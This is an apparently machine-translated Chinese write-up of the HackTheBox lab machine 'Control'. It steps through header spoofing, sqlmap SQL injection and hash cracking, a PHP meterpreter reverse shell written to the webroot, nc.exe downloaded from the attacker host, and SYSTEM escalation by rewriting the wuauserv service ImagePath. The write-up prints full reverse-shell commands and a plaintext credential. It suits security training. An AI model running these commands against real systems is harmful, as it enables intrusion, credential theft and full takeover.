砍箱子。通道控制。通过服务权限进行SQL注入和LPE

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案

在本文中,我们通过SQL注入来渗透系统,深入研究命令行的历史记录,并由于拥有该服务的权限而增加了特权。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与知道信息安全领域知识的人进入专用网络:)

组织信息
, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.167,我将其添加到/ etc / hosts。

10.10.10.167    control.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。
nmap -A control.htb -p80,135,3306,49667,49666

图片

主机正在运行Web服务器。让我们看看那里有什么。

图片

而且我们看到有一个指向管理面板的链接。但是我们被告知没有标题,我们必须通过代理进行联系。

图片

同时,在起始页的源代码中,我们找到了以下消息:

图片

比较使用代理所需的内容和找到的地址,我们假设您需要仔细阅读它。代理显示在HTTP协议的x-forward-for标头中。让我们公开一下。

图片

我们成功地进入了管理页面。让我们浏览一下浏览器。

图片

但是,当您尝试执行某些操作时,他们会将我们带到带有代理消息的页面上。这是因为我们没有替换找到的标题。为了避免每次都在Burp Suite中执行此操作,请在“代理”->“选项”选项卡中找到“匹配和替换”功能。

图片

并添加一个新条目,该条目将自动将此标头添加到所有传出请求中。

图片

并测试搜索字段,我们发现SQL注入。

图片

对于操作,我们使用sqlmap。让我们将此请求保存到文件(复制到文件)并运行sqlmap,并将此文件作为参数传递。
sqlmap -r headers.req

图片

入口点
让我们看看可用的数据库。
sqlmap -r headers.req --dbs

图片

让我们找出可用的凭据。让我们看看mysql数据库中的所有表。
sqlmap -r headers.req -D mysql --tables

图片

因此,我们对用户表感兴趣。让我们获取所有列的名称。
sqlmap -r headers.req -D mysql -T user --columns

图片

在所有列中,最有趣的是用户和密码。我们了解其中的内容。
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

图片

该数据库包含多个用户。Sqlmap提供了破解哈希的方法。我们选择一个字典攻击,表明我们要使用字典并编写通往rockyou的路径。

图片

几秒钟后,我们将为您提供一个包含用户名和密码哈希表的表格。如果sqlmap能够破解密码,它将在括号中的哈希旁边指示该密码。如您所见,我们拥有用户hector的凭据。

图片

我无法使用sqlmap获取外壳程序,但要写出文件。让我们发布网络漫步。首先,我们以PHP格式生成meterpreter负载。
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


现在,使用sqlmap将其写入Web服务器目录。
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

图片

文件已成功写入。运行监听器。

图片

并转到您在Web服务器上的文件。
curl http://control.htb/r.php


在Metasploit窗口中,我们观察到成功的连接。

图片

参加本次会议。

图片

但这是问题所在,我们无法通过外壳执行命令,此外,此类尝试还会重置连接。让我们尝试通过在视图(-H)中隐藏的交互模式(-i)中创建Powershell进程来绕过锁定,并通过将命令作为参数(-a)传递。让我们找出我们在哪个用户下工作。

图片

用户


我们有赫克托(Hector)凭证,我们将找出系统中是否有这样的用户。

图片

有这样的用户!但是首先要找出汽车的名称。

图片

我们有用户名,密码,域和计算机名。现在,让我们检查一下我们收到的凭据是否合适。为此,请代表赫克托(Hector)执行“ whoami”。
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

图片

精细。让我们获取外壳。在本地主机上运行Web服务器。
python3 -m http.server 80


并上传到远程Netcat主机。
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


现在打开5432端口。nc -lvp 5432并从远程主机进行反向连接。
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


因此,我们带走了用户。

图片


接下来,当您尝试将一种从主机收集信息的方式(例如BloodHoundPowerUpJAWSWinPEAS上传到主机时,我们注意到防御者将其删除。但是WinPEAS具有无法卸载蝙蝠版本我们将其上传到主机并运行。此外,仅需要仔细查看收集的信息。我们找到了一个有趣的文件ConsoleHost_history.txt,

图片

查看其中包含什么。

图片

这些团队是我们仅有的。Get-Acl cmdlet检索表示文件或资源的安全描述符的对象。安全描述符包含资源访问控制列表(ACL)。ACL包含用户和用户组访问资源所需的权限。因此,我决定解决方案的路径在于服务及其访问。让我们获得Hector对它们的所有服务和权限。

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


查看输出,我们注意到Hector拥有Windows更新服务wuauserv的全部权利。

图片

Windows操作系统中的服务以系统特权运行。在系统中注册服务时,服务可执行文件的路径在ImagePath属性中受到保护。让我们更改此属性的值并加载外壳。
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


现在启动更新服务。
start-service wuauserv


并且我们获得了具有最大特权的shell。

图片

您可以通过Telegram加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles